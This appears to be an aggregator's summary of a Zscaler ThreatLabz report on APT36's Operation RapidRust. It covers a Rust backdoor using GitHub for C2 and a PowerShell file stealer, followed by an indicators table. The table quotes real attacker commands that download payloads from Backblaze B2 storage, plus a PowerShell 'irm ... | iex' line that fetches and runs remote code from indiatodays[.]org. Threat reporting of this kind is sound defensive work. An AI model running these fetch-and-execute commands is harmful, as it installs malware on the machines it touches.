Operation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH
Zscaler details Operation RapidRust: APT36 deploys four new tools including RUSTYSHADE, a Rust backdoor using private GitHub repos for encrypted C2.
Zscaler ThreatLabz documents Operation RapidRust, a campaign by Pakistan-aligned APT36 deploying four new tools: RUSTYSHADE, a 64-bit Rust Windows backdoor that uses attacker-controlled private GitHub repositories with a hardcoded PAT and AES-256-GCM-encrypted messages for C2; RUSTYMOVE; PSNATCH, a PowerShell file stealer that scans Office documents, archives, media, and databases modified in the last 120 days and exfiltrates up to 5 GB per run to per-machine GitHub repositories; and BASHNATCH. The backdoor was dropped via PowerShell from attacker-controlled Backblaze B2 storage and supports screenshots, webcam capture, file listing, downloads, and shell command execution.
- RUSTYSHADE uses a hardcoded GitHub PAT, AES-256-GCM encryption, and repository files for command tasking and exfiltration.
- PSNATCH steals files modified within 120 days, capped at 1 GB per file and 5 GB per execution, exfiltrated via GitHub API.
- Dropper fetches RUSTYSHADE via PowerShell from attacker-controlled Backblaze B2 storage.
- Backdoor commands include screenshot capture, webcam photos, directory listing, encrypted file download, and detached shell execution.
- Tooling resembles GITSHELLPAD from the earlier GOGITTER campaign but is rewritten in Rust with encrypted C2.
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | backblazeb2.com | s using the following command: powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zip C2 commun |
| domain | indiatodays.org | conhost.exe --headless powershell.exe -EncodedCommand [irm indiatodays[.]org/pv | iex] Create scheduled tasks that execute payloads at |
| url | https://clients-easy.s3.us-east-005.backblazeb2.com/Automata-20.zip | ing: cd C:\Users\Public\AccountPictures dir powershell wget hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip -o d.zip dir tar -xvf d.zip dir Start-Process -FilePath " |
From the original article
8 min read at zscaler.com
IntroductionIn August 2026, Zscaler ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 in a campaign we’re tracking as Operation RapidRust.
By Sudeep Singh (Sr. Manager, APT Research) · zscaler.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.